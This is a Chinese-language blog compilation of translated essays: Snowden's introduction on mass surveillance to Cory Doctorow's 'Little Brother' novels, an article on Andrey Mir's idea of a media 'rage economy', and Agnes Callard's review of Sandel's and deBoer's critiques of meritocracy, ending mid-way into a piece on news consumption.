他们强行秘密进入其最大的电信和互联网巨头的网络（其中一些巨头很是顺服），以追求一个目标：将原本自由而分散的互联网转变为历史上第一个集中化的全球大规模监控手段。

这种侵犯每个人基本隐私人权的行为是在我们完全不知情或不同意的情况下发生的，甚至是在我们的法院和大多数立法者不知情和不同意的情况下发生的。

结果却是这样：虽然全球对这一违法行为的反应非常愤怒，产生了现代最大的情报丑闻，但是，大规模监控本身今天仍在继续，几乎不受阻碍。

- 《6年，改变了什么？》
- 《斯诺登曝光6年后，大规模拦截的现状》

几乎您所做的一切，以及您所爱的每个人，每时每刻都在被一个系统监控和记录着，这个系统的覆盖范围是无限的，但它的保障措施并不健全。

虽然大规模监视的制度本身并没有发生实质性的变化 —— 通常情况下，政府对改革自身行为的兴趣远低于对限制公民行为和权利的兴趣 —— 但它的确改变了公众的意识。

政府正在收集那些没有做错任何事的普通人的私密通信的想法曾经被当作一种偏执的阴谋论（或者被当作有启发性的小说的主题，比如你即将阅读的作品）；然而突然间，这种景观变得太真实了 —— 那种被普遍承认的事实，居然很快就被我们的政治操作者扭曲和敷衍了。

与此同时，全世界的公司消化了这一认识，即 他们最黑暗的耻辱 —— 故意参与危害公众的罪行 —— 并没有受到惩罚；相反，这些公司由于与政府合作反而得到了积极的奖励，要么是明确的追溯性豁免，要么是非正式的永久性有罪不罚的保证。

他们成了我们所有人最新的 Big Brother，为了利益和权力，努力编制完美的私人生活记录。由此产生了我们曾经自由的互联网的当代腐败，即 所谓的监视资本主义。

我们越来越清楚地看到，这些系统的建设与其说是为了连接，不如说是为了控制。大规模监控的扩散正是与公共权力的破坏同步进行的。

然而，尽管我在流亡的七年中读到了这种严峻的情况，但我发现希望多于绝望，这在很大程度上要归功于香港的激光器和交通锥。

我的信心不是来自于人们如何对战催泪弹，而是，来自于它们所表达的东西：人类对自由的不可抗拒的渴望。

我们今天面临的问题，即 被寡头及其垄断者剥夺权利的问题，以及被专制者及其舒适的政治阶层剥夺权利的问题，远非新问题。新颖之处在于，让这些问题得以根深蒂固的技术手段 —— 简单地说，坏人有了更好的作恶工具。

你一定听说过，当你只有一把锤子的时候，所有的问题看起来都像钉子。这就是每一个统治体系的愚蠢之处，其未来更多的是依靠其方法的全能性，而不是其受支持程度。

- 《中央政府的神话》

曾几何时，帝国是靠青铜、船只和火药赢得的。它们没有一个幸存下来。比每一面被遗忘的旗帜更久远的是我们人类最伟大的技术，即 语言：心灵的帝国。

的确，我们像 Marcus Yallow 和他的朋友们一样，被推入了一场不平等的战斗。但是，即使是最完美的监视，再多的压制或寻租，也不能并不会改变我们的身份。

从香港勇敢的学生到旧金山杰出的赛博朋克，人们一直在寻找恢复和改善管理我们生活的系统的方法。

我们已经看到聪明才智和发明创造出了一些系统，这些系统能够保守我们的秘密，也许还有我们的灵魂；而在这个世界上，拥有私人生活就像是一种犯罪。

我们已经看到孤独的个人创造了新的工具 —— 甚至比最伟大的国家还能制造出更好的工具。但是，任何技术和个人，都不足以长久地遏制巨人的滥用、他们的政治排斥和暴力协议。这就是故事中重要的部分：始于个人的东西在社区中持续存在。

改变时代不仅仅需要激光器和交通锥，还需要紧握的双手。

需要你。

- 斯诺登指出的是最关键的事，见《超越透明度革命》

Cory Doctorow：在举报 *AT&T* 的吹哨人 *Mark Klein* 走进电子前沿基金会旧金山办事处两年后，在 *2008*年我写下了关于监视和抵抗的小说《*Little Brother*》，他被勒令构建暗房以便让国安局间谍可以非法监视整个互联网。

此后的几年中，监视和反监视一直在稳步增长，从而激发了更多的吹哨人站出来，使人们对当权者如何使用联网计算机来维护其权力有了新的认识。

十年前的这个月，芬兰宣布互联网接入是一项基本人权，人们笑着指

责。十年后，我们已经从争论我们所做的一切是否必然涉及互联网转变成了显而易见的事实，即 我们所做的一切都需要互联网。

斯诺登在离开香港酒店房间前往流亡地时，带走了一本《*Homeland*》—《*Little Brother*》的续集。在上述两本书新版的导言中，斯诺登讨论了在网络的推动下、在全球网络声援运动的支持下，香港起义的迹象一度充满希望。

上述两本书在这里下载：https://www.patreon.com/posts/zui-zhong-yao-de-40546628

而今天，香港的起义已经灰飞烟灭，大规模的逮捕行动已经开始。如果你需要证明网络在解放性和压迫性的刀刃上是平衡的，这就是。

有一个故事说，数字权利运动之所以开始，是因为技术崇拜者们确信互联网会让我们所有人都获得自由；但如果你有这种确信，为什么还要发起一场运动呢？不，这场运动的存在归功于这样一个事实，即：任何对技术了解得足够多、能够欣赏其解放潜力的人，就一定会对它的压迫性潜力感到恐惧。

- 《互联网究竟是什么？—— 来自“监视谷”惊人的启示》

The Age of Mass Surveillance Will Not Last Forever

原文

如何理解愤怒的经济 - iyouport

免费书和纪录片关于真实的“媒体”-真相衰变

【2021年5月27日存档】你生气吗？非常好，我要发财了……

【按】两年前，我们用一套3集的系列来讲述为什么媒体事实上并不关心意识形态，媒体的所有行为都是利益驱动的 —— 简单说，怎么赚钱，他们就怎么干。纠结于所谓的左媒、右媒、或者自由派，是没有意义的，这种区分反而会导致您误解真正重要的灾难之源。在这里看到这个系列《现代新闻之愚蠢》（这里的链接是最后一集）。

换句话说，经济模式才是掌控媒体叙事的真正力量，而不是政治，如今越来越多的人理解到了这点 —— 关于为什么骂特朗普可以成为一门大生意、这个表演秀明星如何养活了一大群捉襟见肘的媒体，尤其是，为什么真正重要的事几乎无人关注，连讨论都没有，更不用说解决了。

媒体在控制所有人的认知，媒体的叙事在塑造/或者扭曲大众的世界观；媒体什么样，这个世界就是什么样。

本文介绍一本新书，它再次强调了这个问题；并且，它指出了互联网媒体为什么变得如此混蛋的根本性原因。

- 《做个聪明的信息消费者》

评论者说他希望媒体更多关心贫穷问题/关心穷人（不平等问题），博主回复：“那谁来付钱呢？” —— 换句话说，那些大金主眼里怎么会有穷人？

1月6日发生在国会大厦的袭击事件凸显了一个令人不安的现象，这个现象在此时已经成为不可否认的事实：公众分裂成了众多愤怒的派别，这些派别在网上以不同的方式激进化，对现实持有完全不同的基线认知。

蓄意的虚假信息在破坏民主的影响方面已经受到了很多关注，但是，在很多方面，梦幻般的谎言攫取人们忠诚的力量也是一个更深层次问题的副产品：新闻媒体为了赚流量维生而将愤怒货币化所驱动出的社会两极分化。

这种现象是媒体生态学家、作家安德烈·米尔（Andrey Mir）在一本新书中所说的“后新闻”的核心。米尔的这本书名为《后新闻与报纸之死》，从中世纪意大利威尼斯出版的商人通讯，到现代的印刷报纸、电视，再到最后的互联网，全面审视了几百年来新闻媒体是如何演变和塑造世界的。对于几乎每个人来说，新闻媒体都是影响他们如何感知其直接经验之外的世界的主要力量。在一个生产和传播信息的主要技术发生变化的时代，世界也在发生变化。无论好坏，我们现在正生活在其中一个时代里。

在过去的几年里，社交媒体等新技术的集体心理影响已经被写进了一大波书中。而同样重要的是潜在的经济转变，这种转变已经让传统的媒体机构逐渐变成了完全不同的东西。

新闻业传统上依赖于以广告为基础的收入模式，而这种经济也巧妙地激励了一种特殊的视角，通过这种视角来描绘世界：一种乐观的、尽可能统一的世界观，这种世界观只是让广告商高兴，促进了消费主义的需求，即使它经常忽略或压制那些不在其范围之内的故事。

当广告商突然涌向社交媒体时，让小报纸也能负担得起外国记者这样的奢侈品，支撑媒体的传统经济模式突然就崩溃了。如今，成熟的新闻机构不仅在 **Facebook** 和谷歌吞噬市场后苦苦寻找广告客户，还必须与其他看似无限多的网站、公司，甚至是从事“新闻行为”或仅仅是发布娱乐性推文的个人竞争，从而迫使他们在有限的注意力经济中争夺一小块他们不可能垄断的土地。

旧有广告模式的丧失简直要了许多地方新闻机构的命，在过去的十年里，这些机构以不可思议的速度关闭。幸存的大型机构拼命寻找新的模式来支撑自己。少数幸运儿能够依靠慈善家的赞助，将新闻业作为一种纯粹的社会公益事业来支持；但是，其他许多组织却被迫做了自大规模生产的小报时代以来从未见过的事：主要依靠读者通过订阅费和会员费来支持他们。毫无疑问，中国也是如此。同一个互联网，同一种经济模式

正如米尔所言，新闻媒体经济结构的这种变化已经悄悄地改变了新闻业本身的意义，它从理论上中立的“制造同意”手段变成了一种政治事业，人们被动员起来 —— 通常是通过煽动人们进行某种形式的愤

怒。在这里下载下图中这本书《宣传即操纵》。

这种变化最直接地影响了平面媒体，但像福克斯新闻这样的电视新闻机构，他们的大部分收入仍然来自有线电视付费，但他们也有强烈的动机来利用愤怒经济。与此同时，Facebook 通过算法生成的新闻源有一个有利可图的优势，那就是它总能准确地知道人们“想听什么”，并据此推动人们的参与 —— 也就是针对性给你喂料，加固你的偏见。这就是为什么你根本无法通过互联网上的讨论来影响任何人。

- 《忘记假新闻吧，根本性问题在于真新闻本身》

这种现象在前总统特朗普当选后变得非常明显（这在旧媒体充当守门人的前社交媒体世界是不可能发生的事），当时他的对手们纷纷订阅《纽约时报》和《华盛顿邮报》等倾向于自由派的媒体，期望这样做有助于对抗他的总统任期。

特朗普的支持者在面对他们认为是自由派精英的围攻时，同样涌向支持他的媒体。一些年长的记者表示，即使面对这样一个本质上两极分化的人物，也不愿意明确地站在任何一方，但现在他们行业的经济结构使之不可避免。

任何时候，只要媒体似乎偏离了剧本，打乱了读者的预期，他们就会立即受到威胁，失去他们现在至关重要的经济支持。即使是福克斯新闻，当它不能提供特朗普的党派支持者所要求的顺从和愤怒的报道时，它的收视率也面临着被更加下流的“One America”新闻网夺走的威胁。

就像广告模式激励新闻机构投射出对商业友好的世界观一样，新的模式要求读者不仅要保持满意，还要有足够的参与度，让他们愿意维持经济支撑。

不幸的是，对于整个社会来说，在互联网上实现参与度货币化的最佳方式之一就是刺激更多的愤怒和仇恨，通常是针对其他一些群体的。这种愤怒驱动的模式是米尔所说的后新闻的核心。在最极端的形式下，在那些旧的新闻职业道德和标准被抛弃或从未扎根的场所，后新闻会产生暴民，他们的愤怒是那些泡沫之外的人所无法理解的，就像洗劫国会大厦的QAnon阴谋论者一样。

“由于后新闻需要放大人们的挫败感才能获取利润，它就会螺旋式上升到放大极端，从而导致两极分化。愤怒和两极化的受众是这种新的商业模式的副作用”，米尔在一次关于本书的长篇邮件交流中告诉

我，“在关注度消退的条件下寻求受众的支持，新闻媒体被迫放大和戏剧化那些其报道中最有可能被付费的问题。如果说过去的广告驱动型媒体倾向于制造同意，那么如今的读者驱动型媒体则必须制造愤怒”。

“这背后没有邪恶的阴谋，也没有‘自由主义偏见’，也没有‘右翼阴谋’“，米尔补充道，“这些只是一个媒体行业的环境设定，这个行业的广告收入和新闻业务已经被互联网所取代”。

人们对信息消费方式出了大问题的认识，导致了对审查制度的呼吁，甚至任命政府的“现实沙皇”。国会大厦骚乱之后，社交媒体上出现了一大波言论清洗，一直延伸到前总统本人。但这对消除错误信息完全无意义。考虑到社会上不断出现新的冲突，简单地禁止所有相信错误信息的人使用互联网是不可能的。

回到新闻媒体的旧有等级世界的可能性也很小，这在平衡上是件好事。但要创造一个有价值的新媒体格局，就需要保护新闻机构不受达尔文式的经济压力的影响，因为这种压力迫使他们去兜售愤怒。

加拿大、澳大利亚和挪威等国家一直在推出增加新闻业公共资金的计划。但在美国，这可能更具挑战性，因为在美国，政府资助的机构更容易受到政治压力。参议员伯尼·桑德斯（**Bernie Sanders**）在**2019**年流传的一项计划可能更接近目标：对定向广告征税，并将科技公司的资金重新分配给传统新闻业。这样的计划将减少大型媒体依靠两极分化作为商业模式的动力，同时将许多地方新闻机构从完全被遗忘中解救出来。

对于在愤怒已经成为货币的语境中消费新闻的普通人来说，只要意识到这种语境，在不被操纵的情况下消费信息，或许会有所帮助。冠状病毒大流行加速了人与人之间互动的数字化，这使得我们比以往任何时候都更需要负责任地对待这些平台。

“当人们在社交媒体上看到被激怒的用户或记者非常有选择性地传播大众媒体的新闻时，你必须明白，这些用户和记者都受到了媒体的操纵”，米尔在书中写道，“被媒体的环境力量所征服，并不能解除任何人对在社交媒体上或新闻媒体上所做的事的个人责任，但至少这解释了人们是如何被这种特殊的媒体环境设置推向了更多的极端化和愤怒的”。

洗劫国会大厦的人当然要为自己的行为负责，但对我们所有人来说，更好地理解引起那场怪异暴动以及最近许多其他灾难的技术和经济背

景，才能真的有所帮助。米尔认为，理解这种新媒体环境的深层影响，可以在这个“看起来无法解释的疯狂”的世界中产生“治疗效果”。○

HOW TO UNDERSTAND THE RAGE ECONOMY

原文

如果你是失败者 - iyouport

免费书和纪录片

唯才是举只是将社会分裂成了自我满足的赢家和痛苦的输家

所有人都希望自己是成功者，铺天盖地的励志书诱骗了一代又一代举步维艰的底层年轻人，残酷的竞争让人们无暇品味关爱和怜悯，为了“往上爬” 不惜作弊和贿赂、甚至恶劣地伤害他人 …… 因为这个社会只会奖励成功，它无情地惩罚失败者。

此前我们发布过另一本书的介绍《这个世界需要更多 “失败者” 的传记》，您足够看到，在120多年前描绘出一个民主化的互联网模型的人绝不应该是 “失败者”，然而今天，我们这些被监视资本主义的专制互联网剥削的人们却几乎没人知道他，只因为他是 “失败者”。

人们从小就被教育了功利主义，这也许就是为什么价值越高的内容越无人分享 —— 谁会拒绝独占知识的机会呢？大学录取已经成为这个社会功利机器的支点，你的社会 “价值” 深深地取决于你所上的大学，以至于有钱的父母愿意违法，以确保他们的孩子获得录取的大学层级略有上升。

同类现象还有非常多，那么，问题出在哪里？

这里有两本新书，提出了这个很尖锐的问题，但芝加哥大学哲学系副教授 Agnes Callard 对这两本书的结论有一些不同意见。您可以在这里下载这两本书：https://www.patreon.com/posts/ru-guo-ni-shi-50264467

您对自己的生活有一定的发言权，然而您的生活也受制于您无法控制的力量。那么，要强调这个故事的哪一部分呢？保守派倾向于把玻璃杯看成是半满的，既强调对结果的主动控制，也强调个人对结果的责任；而进步派则更倾向于强调外部因素的因果作用 —— 即使这些因素在某种意义上是 “内部因素”，比如一个人的基因构成，并告诫我们要站在对不良结果不加指责的一边。

教育家和散文家弗雷德里克·德波尔（Fredrik deBoer）认为，有一个领域是这种政治模式崩溃的地方：在关于学术成就的对话中。在他的新书《对聪明的盲目崇拜》（The Cult of Smart）的导言中，德波尔引用博主斯科特·亚历山大（Scott Alexander）的回忆来阐述这个难题，亚历山大说，“我曾因英语得了A而受到表扬，却因微积分得了C-而受到指责”：

每次我在英语课上被当做榜样推出时，我都想直接撞死。我没有那样做！我根本没有学习，一半的时间都是在上学路上的车上做作业，那些参加全州比赛的作文都是随口一说的，根本没有一点真功夫。赞美我的任何一点，似乎现在看来都是完全不公平的。

而另一方面，直到今天我还认为我应该得到一个该死的雕像，因为我在微积分*I*中得了 *C*-。 它应该放在学校操场的中心，并有一块牌子，上面写着：“斯科特·亚历山大，他通过不懈的努力，成功地通过了微积分*I* ……”。

亚历山大想知道，为什么赞美和指责要追踪明明是天生的东西？他认为，“怜悯、富有同情心和进步的立场，就应该否认人们的饮酒问题 —— 或者肥胖，或者抑郁症，或者偷窃癖 —— 是由他们自己造成的：我们不应该把精神或身体上的疾病归咎于人们，不应该坚持认为这些疾病可以通过足够的努力来克服。但是，德波尔指出，“这种思维在同样的进步圈子里却是被厌恶的 —— 当它应用到学术能力上时”。为什么正是那些怜悯遗传性疾病的人，却把学业成功当作纯粹的努力问题？

德波尔认为，部分原因是进步人士过于草率地否定了有关智力的科学研究。面对科学种族主义的黑暗遗产，进步人士急于否认群体层面智商差异的说法，但在同一时间，他们最终否认了显示个人智商至少有50%可遗传性的科学。亚历山大和德波尔都认为这是一个错误。他们提出，我们只有正视个人智商差异的硬伤所带来的影响，才能始终如一地同情和进步：学业上的成功和失败并不比心理健康或疾病更“应当应然”，把它们当作是“应当应然”来对待是残酷的。

对于德波尔来说，这个论点不仅本身很重要。它是他在书中批判当下的功利主义教育制度的核心。《对聪明的盲目崇拜》这本书以一位经验丰富的教育家的说服力写成，正如他所说的那样，是一本“为没有天赋的人祈祷”的书，既关注他们的“困境”，也关注教他们的人的困境。

他慷慨激昂地呼吁现实主义，既要考虑到智力上没有天赋、学习上没

有动力的学生能取得什么成就，也要考虑到学校系统能做些什么来解决社会的弊端。德波尔渴望建立一个平等的社会，感叹我们拥有的权利和财富的不平等，但他并不认为教育制度是实现平等的杠杆。他认为，强加“更高的标准”只会降低毕业率，同时也会惩罚那些缺乏奢侈感的学校，把有困难的学生踢出去。“告诉我你的学生是如何被分配到你的学校的”，他写道，“我就可以预测你的结果。”

德波尔在书中开篇就讨论了2019年的“校队蓝调”大学招生丑闻。哈佛大学哲学家迈克尔·桑德尔在他的新书《优绩的暴政》中也做了同样的论述。两位作者都用这一事件来说明，大学录取已经成为这个社会功利机器的支点：你的社会“价值”深深地取决于你所上的大学，以至于有钱的父母愿意违法，以确保他们的孩子获得录取的大学层级略有上升。而父母对孩子隐瞒自己的行为，是因为他们希望孩子觉得是自己赢得了这种地位。

但桑德尔和德波尔都明确表示，他们的目标不是这群违法者。不是那些合法地用大量捐款换取录取的父母，也不是富裕家庭的孩子在童年旅程的每一步都处于优势地位；在两位作者看来，道德问题不在于我们没有达到择优录取的理想（尽管我们做到了），而在于我们一开始就把它当作了理想。任何将经济和社会地位与学习成绩挂钩的制度，本质上都是糟糕的。

桑德尔和德波尔一样，最根本地反对唯才是举的道德自诩：如果我们相信我们的成功取决于自己，我们就会把成功归功于自己，把失败也归咎于自己。唯才是举的积极自信心的道德观—— 桑德尔称之为“上升的修辞”—— 产生了“道德上没有吸引力的态度”，即 胜利者的傲慢和失败者的怨恨。这反过来又会导致社会纷争，人们难以联合起来。

桑德尔广泛涉猎了唯才是举的历史和政治，将其作为一个人道德价值的（认识论）证明。他将生产效率越高的人应该得到更多金钱回报的观点定位在F.A.哈耶克和弗兰克·奈特的古典经济自由主义、甚至约翰·罗尔斯的福利国家自由主义中。桑德尔承认，这些思想家以效率为理由来证明他们所提出的社会制度的合理性，明确否认任何关于更有生产力的人“更有价值”或“应该得到更多”的说法。但桑德尔还是把他们的观点看作是当下时代道德自负的进化祖先：“自由市场的自由主义和福利国家的自由主义为他们正式拒绝的对成功的功利主义理解开辟了道路”。

在桑德尔讲述唯才是举的起源时，关键的一步是讲述前哈佛大学校长詹姆斯·科南特如何在20世纪40年代改变大学的故事。通过“一种悄悄的、有计划的政变”，桑德尔解释说，科南特设立了SAT考试，并将公

立学校重新设想为一种分类功能：它们本身不是目的，而是“为[特定的]目的而重建”，作为新的精英阶层的招募场所。科南特正在激活托马斯·杰斐逊曾经提出的一个计划，他曾这样描述：“20个最好的天才将被每年从垃圾中挖掘出来，并由公共费用进行指导。”

在当下，桑德尔指出了非常广泛的现象，这些现象要么是唯才是举的原因，要么是唯才是举的结果：民粹主义的政治动荡、直升机式育儿、全球化、技术主义、反移民情绪的兴起、向知识经济的转型、2008年的金融危机、关于气候变化的争论、美国人和欧洲人之间的文化差异、二十岁到二十四岁的年轻人自杀率的上升、不平等的加剧、美国制造业的衰落、证书主义。当他的讨论在这些领域中游走时，指导性的线索是这样的说法：唯才是举将社会组织成了自我满足的赢家和痛苦的输家。

桑德尔声称“当今政治中最深刻的分歧之一是有大学文凭的人和没有大学文凭的人之间的分歧”，这显然是有道理的。但我并不完全被他关于一个国家被傲慢和怨恨所分裂的故事所说服。首先，他在描绘“赢家”形象时引用的经验数据并不意味着对“赢得”地位的自满：他描述了“特权青年中的心理健康流行病”和“富裕家庭的年轻人中过多的情绪困扰”，包括那些最终进入精英学校并表现出“前所未有的困扰”的人。这听起来不像是狂妄。至于他归咎于非精英的怨恨：怨恨是那些拥有较少的人的特有态度，他们认为自己应该得到更多。如果桑德尔说非精英们为自己的失败而自责是正确的，那么我们可以预测，这种自我理解的主要表现形式将是羞愧和沮丧，而不是怨恨。

如果您错过了《生活如何变成了一场无止境的可怕竞争？精英政治的圈套》

人类被赋予了等级制 —— 我们对自己与周围的人进行衡量，并努力改善我们自己的相对地位 —— 但是，与此同时，我们对自己的真实情况感到不满。这种困境是两方面驱动的产物。

首先，人们受到归属感的驱使，因此有动力既要使群体受益，又要被承认为群体的正式成员。对于这种驱动力，一些积极的词语是“合作”和“无私”；一些消极的词语是“循规蹈矩”和“绵羊”。其次，人们倾向于把自己从群体中分离出来，从群体中脱颖而出。当我们赞同这种倾向时，会把它描述为“追求卓越”，并称这样的人“非凡”或“独立”；当我们不喜欢这种倾向时，就会用“不合作”、“利己主义”等词语来指责这样的人“竞争强势”或“贪婪”。在积极和消极的词汇之间切换，是我们人为地将这些交战的动力装进一个社会秩序的方式之一。

人们希望脱颖而出，人们不希望孤独。桑德尔和德波尔认为，我们应该放弃第一种欲望，以便更好地满足第二种欲望：减少等级制度，以换取更多的团结、同情和平等主义。他们的书中提出了一种理想的转变：放下拼搏、机会、个人成就和自信心、以及积极肯定的语言；他们鼓励人们把成功更多地看成是由于好运气，而不是通过努力工作得来的，希望这种不那么理想化、更宿命论的做法能促进群体的凝聚力。桑德尔说，“幸运伦理欣赏超出人类理解和控制的生活层面”。

这种目的最明显的莫过于这两本书对我们当前秩序提出的具体改变：德波尔希望12岁的孩子有权选择辍学，桑德尔则建议精英大学的入学实行抽签。虽然我不怀疑每个作者都相信这些建议会改善世界，但是他们在书中的主要关注点显然不是公共政策：他们的具体建议只占了几页，位于书的结尾附近；相反，他们的主要任务是指明我们的意识形态 —— 首先是我们的言论，最终是我们的价值观 —— 应该转变的方向。我们需要学会接受一些12岁的孩子根本不适合上学的事实；我们应该停止对精英大学的选择性的评价。

那么，应该如何看待这个项目？意识形态中的文化转变确实发生了，桑德尔和德波尔可能正在捕捉到一个趋势：也许我们的社会正在向一个不那么“出众”、更加“适合”的模式转变。事实上，引人注目的是，保守派专栏作家罗斯·杜萨特（Ross Douthat）也曾以非常相似的方式批评过唯才是举制度：“唯才是举的秩序坚持认为高成就者所拥有的一切都是理所当然的”。但作为一个哲学问题，桑德尔和德波尔并没有提出一个令人信服的论点，即：我们有充分的理由放弃“赚取”和“成就”以及“愿望”的修辞。这是因为，虽然两位作者都强调他们的观点是对功名概念本身的反驳，但实际上他们的目标只是挑出了我们对功名概念实例化管理的偶然事件。

回到开头的难题。为什么人们更倾向于让遗传学对（缺乏）心理健康负责，而不是对（缺乏）学术或智力成就负责？我认为这没有德波尔和亚历山大所争论的那么令人费解。这两种情况之间有很大的区别。一个人的生活结果在很大程度上是他的遗传禀赋的一个函数，这是一个科学真理（不仅仅是在智力问题上，无论如何定义，而且是在许多其他行为和身体特征方面）。然而，遗传学的科学不能告诉我们这一事实的伦理后果是什么 —— 更具体地说，科学不能告诉我们这一事实的伦理后果对所有特征都是一致的。因此，即使从遗传学的角度来看，心理健康和智力是同样可以遗传的，这也不意味着我们对这些事实的伦理反应应该是一样的。而事实上，可以说不应该是这样。

精神健康、体重调节或药物滥用的问题在规范上是两方结论：相关的结果要么是正常的，要么是不正常的。相比之下，成就在规范上是三

方结论：它可以是亚正常、正常或超正常。在两方的情况下，我们只需要避免因不正常的情况而责备人们，而在三方的情况下，我们既要避免因不正常而责备，还希望能够对超正常的情况给予肯定和赞扬。在两方案例中，我们通过把结果归咎于遗传学而得到了我们想要的一切 —— 但在三方案例中这样做会挫败一个（伦理）目标。

让我用田径的案例来说明。每个人都知道田径成绩有很强的遗传成分，然而很显然，我们并不认为它是“完全由于基因”，甚至不是“由于基因加运气”。竞技明星作为年轻人的励志人物，让人们感觉自己也有可能做出一番大事业。大自然也许会给你身高或敏捷的反应，但运动上的优秀也需要多年的共同努力。通过这种努力，我们认为明星们的成就是自己挣来的。我们认为大多数人不适合做运动，而那些成功的人是靠自己的努力取得的，这两者之间并没有矛盾。要对胜利者给予肯定、欣赏和赞扬，你不需要认为运动失败者—— 包括我自己在内—— 要怪就怪自己不够努力。对运动失败者的仁慈并不需要以对胜利者的冷漠为代价。

人们赞美谁、指责谁的问题不是一个科学问题，而是一个道德问题；除了认真考虑我们希望生活在什么样的社会中之外，没有办法回答这个问题。本着这种精神，我想提出一个新的候选方案，即“同情、体恤、进步的立场”应该是什么样的。首先，我们应该倾向于把人们的成就归功于真正属于他们自己的，是辛勤工作和勤奋的正当成果，值得骄傲和享受的成就感；其次，我们应该倾向于把失败的原因解释为基因、社会经济障碍、运气不好等等 —— 这些都是人们无法控制的东西—— 这样的方式可以使我们清楚地认识到，对失败的回应所需要的态度是同情和愿意帮助。成功者应该为自己感到骄傲，当他们看到别人失败时，他们应该同情和理解。

人们很少应该甚至完全不应该失败，但人们通常值得他们的成功。为了证明这种不对称性是一致的，请考虑一群努力的朋友之间的风气。当我的一位学术界朋友面临职业挫折 —— 论文被拒、找工作无果、被拒绝终身教职时 —— 我们其他人都会以同情和怜悯的态度来回应。 我们绝不会说：“这是你的错，因为你不够努力”。除非是在真正特殊的情况下，我们不会自作主张地去责备、指责和谴责我们的朋友。但当同一个人取得一些胜利时，我们通常会祝贺她的努力成果。我们对她的成就表示赞许，而不责备她的失败。我们不应该认为，这种情况必须归结为：要么是和蔼可亲地夸大某人在他的胜利中所扮演的角色，要么是善意但欺骗性地淡化他对失败的责任。在我们的回应中不需要涉及白色谎言，因为在道德上，对机会在成功和失败中的作用作出不对称的回应是正确的。简单的事实是，你可以赞美一个学生

得了A，而不责怪他得了C，事实上你通常应该这样做。

我相信我们应该赞扬所有的成就，包括特权阶层的成就：富人的才能不会神奇地自行发展；但我们也应该认识到，当人们不得不克服实质性的障碍来获得他们的地位时，他们客观上取得了更多的成就，甚至应该为自己感到特别的骄傲。

我们可以这样说，但不能诋毁那些面临较少障碍的人，当然，作为一个社会，应该致力于尽可能多地消除这些障碍 —— 同时认识到桑德尔和德波尔的意见的真实性，即：竞争环境永远不会完全平等，因为有些 “障碍” 是内部的。不过，与桑德尔和德波尔所争论的相反，尊重竞争环境的基本不平衡性是与奖励成就兼容的。如果对成就的肯定意味着对缺乏成就的指责，那就不兼容了。但是，只有当成就在规范上是两面性的时候，才会出现这种情况；事实上，它是三面性的。

最后，请允许我把这些关于成就的哲学思考带到我们分配物质奖励和社会地位的社会经济体系中来 —— 桑德尔和德波尔的反对意见最终是针对这个大问题的。我所提出的论点提供了一种方法，使人们对应该如何分配财富、荣誉、名声和认可等 “利” 的问题的回答，与我们对应该如何分配贫穷、羞耻、痛苦和不稳定等 “弊” 的问题的回答分开。

剥夺某人过上体面生活所需的基本条件是一种惩罚，可以说，除了犯有严重错误的人之外，没有人值得被这样对待。你可以认为每个人都应该过上体面的生活，也可以认为有些人凭借他们所取得的成就，应该得到更多。而且—— 这就是接受我一直在争论的不对称性所带来的结果 —— 你可以认为A应该得到物质或社会奖励，因为B没有机会产生的成就（比如说，由于遗传原因，或者由于性别歧视，或者纯粹是运气不好）。事实上，机会在A的成功中起了作用，并不能使我们因此而对他的奖励失效。但是，我们可以而且应该奖励A的事实，并不意味着允许我们因B的不成功而惩罚他。**B**应该得到体面的生活，即使她从未赢得我们（有理由）只给予**A**的奖励。

因为德波尔和桑德尔针对的是浸淫在体面之下的合法性，但对于那些处于优越地位的人他们没有给出任何独立的论证 —— 但这才是精英政治的真正所在。唯才是举是为了奖励成功，而不是惩罚失败。考虑一下1992年的电影《格伦加里·格伦·罗斯（大亨游戏）》中著名的 “激励”演讲：

我们在这个月的销售竞赛中增加了一点东西。 众所周知，一等奖是凯迪拉克*Eldorado*。有人想看二等奖吗？二等奖是一套牛排刀。三等奖

是，您被解雇了！

在二等奖和三等奖之间，每个人都会感到心悸。这时候，唯才是举就会被扭曲变形，变成一种惩罚性的卑鄙行为。如果我们对成绩优异者的奖赏分配制度取决于对非成绩优异者的降格惩罚，那就是对我们的精英制的打击；如果唯才是举最终不仅决定了成功的极致，而且还把不成功的人贬低得一文不值，那就是唯才是举的腐败，应与种族主义和性别歧视等更被公认的腐败一起受到谴责。这就是为什么说桑德尔和德波尔把一种（惩罚性的）成才模式的偶然不完美与对成才本身的批判混为一谈了。

当然，成功的伦理学充满了结症。一方面是只因天赋和努力而给予的东西，另一方面是属于所有人的东西，无论成就如何，都不容易划清界限。“多少钱才够过上体面的生活？”这个问题很难回答，除了内在的困难之外，答案还会随着时间的推移而变化。教育是、或许永远都是一个战场，解读桑德尔和德波尔建议的政策干预的一种方式是，把他们看成是对在这个舞台上划清界限的分歧。德波尔的建议是，我们变得愿意接受一些12岁的孩子不愿继续上学，这是一种把线划得比较低的方式—— 高中已经是“额外的”了 —— 而桑德尔提出的以抽签为基础的大学招生，则把线划得很高：即使是大学教育也不应该根据天赋、承诺或成绩来分配。

构建一个非惩罚性的唯才是举制度并不简单，就像构建一个非种族主义或非性别歧视的唯才是举制度、或一个不偏向于富人的唯才是举制度一样。但这是一个非常值得的项目，因为非惩罚性的功利主义为我们提供了将我们对合作性社区的渴望与我们对个人卓越和成就的承诺相结合的前景摆在了前位 —— 不仅仅是在口头上，而是在现实中。

桑德尔和德波尔敦促我们在前者的祭坛上牺牲后者。但如果我们能同时实现这两个目标，那就没有必要牺牲其一了。一个更仁慈、更有同情心、更进步 —— 也就是说，更少的惩罚性 —— 的政体将给我们带来世界上最好的东西。

对两位作者来说，根本问题不是如何在边缘地带修补我们的现行制度，而是我们应该把目光放在什么样的理想上，即使它不一定能立即实现。德波尔承认：“毫无疑问，有些人会说这是幻想。他们会说，这样的社会不可能存在”。但这一观点是以一个错误为前提的，即：他假设我们必须放弃功利性的奖励，以使我们摆脱功利性惩罚的祸害。我说，既然我们在做梦，那就做个更好更大的梦吧。○

A More Perfect Meritocracy

原文

引流暴政和生存困惑 - iYouPort

你如何正在被互联网所改变-媒介效应免费书和纪录片关于真实的“媒体”-真相衰变

如果你长期使用互联网获取信息、寄希望于互联网帮你成为公民，恐怕只会适得其反，并且你越是专注于此，你就越难以了解事实全貌。为什么？

「图」

「图」

上个月，我决定尝试对新的信息获取进行实验。通常，在早上，我会在收件箱中浏览电子邮件通讯、滚动浏览推文、并仔细阅读手机上的新闻应用程序；之后，在办公室，我会点击跳出来的通知并关注十几个与新闻相关的应用程序，包括 Facebook 和 Twitter，同时处理其他任务。我敢说很多人在此都差不多。

